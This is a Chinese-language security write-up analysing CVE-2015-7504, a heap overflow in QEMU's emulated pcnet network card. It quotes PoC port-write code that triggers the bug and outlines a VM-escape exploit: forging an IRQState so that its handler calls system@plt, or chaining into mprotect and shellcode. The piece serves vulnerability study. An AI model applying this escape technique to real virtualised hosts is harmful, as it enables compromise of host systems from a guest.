作者:raycp
原文來自安全客:https://www.anquanke.com/post/id/197638
cve-2015-7504是pcnet網卡中的一個堆溢出漏洞,可以溢出四字節,通過構造特定的數據可以劫持程序執行流,結合前面的cve-2015-5165中的信息泄露,便可以實現任意代碼執行。
漏洞分析
首先仍然是先介紹pcnet網卡的部分信息。
網卡有16位和32位兩種模式,這取決於DWIO(存儲在網卡上的變量)的實際值,16位模式是網卡重啟后的默認模式。網卡有兩種內部寄存器:CSR(控制和狀態寄存器)和BCR(總線控制寄存器)。兩種寄存器都需要通過設置對應的我們要訪問的RAP(寄存器地址端口)寄存器來實現對相應CSR或BCR寄存器的訪問。
網卡的配置可以通過填充一個初始化結構體,並將該結構體的物理地址傳送到網卡(通過設置CSR[1]和CSR[2])來完成,結構體定義如下:
struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};
漏洞代碼在./hw/net/pcnet.c
的pcnet_receive
函數中,關鍵代碼如下:
ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
int size = size_;
PCNetState *s = qemu_get_nic_opaque(nc);
...
uint8_t *src = s->buffer;
....
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs); //將crc值寫到數據包的末尾
size += 4;
...
pcnet_update_irq(s);
return size_;
}
s->buffer
是網卡接收的數據,size
是數據大小,可以看到代碼計算出當前數據包的crc值並寫到了數據包的末尾。但是當size
剛好為s->buffer
的大小時,會導致最後會將crc值越界到緩衝區之外,溢出的數據為數據包中的crc值。
接下來看越界會覆蓋什麼,s
的定義是PCNetState
,定義如下:
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
可以看到buffer
的大小為4096
,當size
為4096
時,會使得crc
覆蓋到後面的qemu_irq irq
低四字節。irq
的定義是typedef struct IRQState *qemu_irq
,為一個指針。溢出會覆蓋該結構體指針的低四字節,該結構體定義如下:
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
在覆蓋率變量irq
的第四字節后,在程序的末尾有一個pcnet_update_irq(s);
的函數調用,該函數中存在對qemu_set_irq
函數的調用,由於可控irq
,所以可控irq->handler
,使得有可能控制程序執行流。
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
可以看到覆蓋的值的內容是數據包的crc校驗的值,該值是可控的。我們可以通過構造特定的數據包得到我們想要的crc校驗的值,有需要可以去看具體原理,因此該漏洞可實現將irq
指針低四字節覆蓋為任意地址的能力。
再看如何觸發漏洞pcnet_receive
函數,找到調用它的函數pcnet_transmit
,需要設置一些標誌位如BCR_SWSTYLE
等才能觸發函數:
static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;
...
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}
...
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
s->looptest = 0;
} else {
...
再看調用pcnet_transmit
的函數:一個是在pcnet_csr_writew
中調用;一個是在pcnet_poll_timer
中。
主要看pcnet_csr_writew
函數,它被pcnet_ioport_writew
調用,了io_port函數,可以去對程序流程進行分析了。
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
流程分析
因為流程中很多關鍵數據都是使用CSR(控制和狀態寄存器)表示的,這些寄存器各個位的意義看起來又很麻煩,所以這次流程分析更多的是基於poc的流程。
先看網卡信息,I/O端口為0xc140
,大小為32:
root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
Flags: bus master, medium devsel, latency 0, IRQ 10
I/O ports at c140 [size=32]
Memory at febf2000 (32-bit, non-prefetchable) [size=32]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12
再看./hw/net/pcnet-pci.c
中的realize
函數中的pmio空間的相關聲明:
memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
PCNET_IOPORT_SIZE);
#define PCNET_IOPORT_SIZE 0x20
static const MemoryRegionOps pcnet_io_ops = {
.read = pcnet_ioport_read,
.write = pcnet_ioport_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static void pcnet_ioport_write(void *opaque, hwaddr addr,
uint64_t data, unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_write(opaque, addr, data, size);
if (addr < 0x10) {
...
}
}
static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_read(opaque, addr, size);
if (addr < 0x10) {
...
}
} else {
if (size == 2) {
return pcnet_ioport_readw(d, addr);
} else if (size == 4) {
return pcnet_ioport_readl(d, addr);
}
}
return ((uint64_t)1 << (size * 8)) - 1;
}
可以看到當addr大於0x10時,會根據size的大小調用相對應的pcnet_ioport_readw
以及pcnet_ioport_readl
。
poc中關鍵代碼如下:
/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);
/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
sleep(2);
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
首先是先調用inl
以及inw
去初始化網卡,在readw
中0x14對應的會調用pcnet_s_reset
函數,readl
函數中0x18
也會調用該函數。該函數會將網卡進行初始化,包括設置為16位模式以及設置狀態為stop狀態等。
static void pcnet_s_reset(PCNetState *s)
{
trace_pcnet_s_reset(s);
s->rdra = 0;
s->tdra = 0;
s->rap = 0;
s->bcr[BCR_BSBC] &= ~0x0080; //設置16位模式
s->csr[0] = 0x0004; //設置state為stop狀態
...
s->tx_busy = 0;
}
先看下pcnet_ioport_writew
的定義:
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04x/n", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */
s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);
val = (val & 0x007f) | (s->csr[0] & 0x7f00);
/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;
if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);
if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);
if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);
if (CSR_TDMD(s))
pcnet_transmit(s);
return;
...
s->csr[rap] = val; //設置csr寄存器值
}
可以看到我們可以通過設置addr
為0x12
來設置s->rap
,然後再通過addr為0x10
或0x16
來操作csr
寄存器或bcr
寄存器,而設置好的s->rap
則是csr
寄存器或bcr
寄存器的索引。
因此操作都需要兩條指令才能進行,先通過s->rap
設置好索引,再去操作相應的寄存器,如poc中需要將pcnet的配置結構體傳遞給網卡,需要將該結構體物理地址賦值給csr[1]
以及csr[2]
,則需要先將s->rap
設置為1
再去將地址的值賦值:
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
配置好網卡后,通過pcnet_init
以及pcnet_start
將網卡啟動起來,再將構造的數據發送出去就觸發了漏洞。
漏洞利用
該漏洞的利用需要結合之前cve-2015-5165
的信息泄露,基於信息泄露得到了程序基址以及相應的堆地址后,便可實現任意代碼執行。
先看內存結構原有的內存結構,將斷點下在pcnet_receive
函數,運行poc:
pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
可以看到irq
指針的值為堆地址,而我們可控的網卡的數據也在堆上。
利用思路就比較清楚了,將irq
指針的低四位覆蓋指向s->buffer
中的某處,並在該處偽造好相應的irq
結構體,如將handler
偽造為system plt
的地址,將opaque
偽造為堆中參數cat flag
的地址。
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
system plt
地址可通過objdump
獲得:
$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64: file format elf64-x86-64
000000000009cf90 <system@plt>:
9cf90: ff 25 a2 14 7d 00 jmpq *0x7d14a2(%rip) # 86e438 <system@GLIBC_2.2.5>
需要提一下的是,QEMU Case Study中則是調用mprotect
函數來先將內存設置為可執行,然後再執行shellcode。但是看起來似乎無法控制第三個參數的值,因為level
是由父函數pcnet_update_irq
傳遞過來的:
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
該文章中的解決方法是構造了兩個irq
,第一個函數指針指向了qemu_set_irq
,將opque
設置為第二個irq
的地址,irq->n
設置為7
;第二個irq
則將handler
設置為mprotect
,opaque
設置為對應的地址,n
設置為相應的地址,以此來實現第三個參數的控制。當mprotect成功執行后,再通過網卡數據的設置,控制執行流重新執行shellcode的地址,實現利用。
小結
兩個很經典的漏洞結合實現了任意代碼執行,值得學習。
相應的腳本和文件鏈接
參考鏈接
- [翻譯]虛擬機逃逸——QEMU的案例分析(一)
- [翻譯]虛擬機逃逸——QEMU的案例分析(二)
- [翻譯]虛擬機逃逸——QEMU的案例分析(三)
- QEMU Case Study
- qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理與利用
- 【漏洞分析】前往黑暗之門!Debugee in QEMU
- Reversing CRC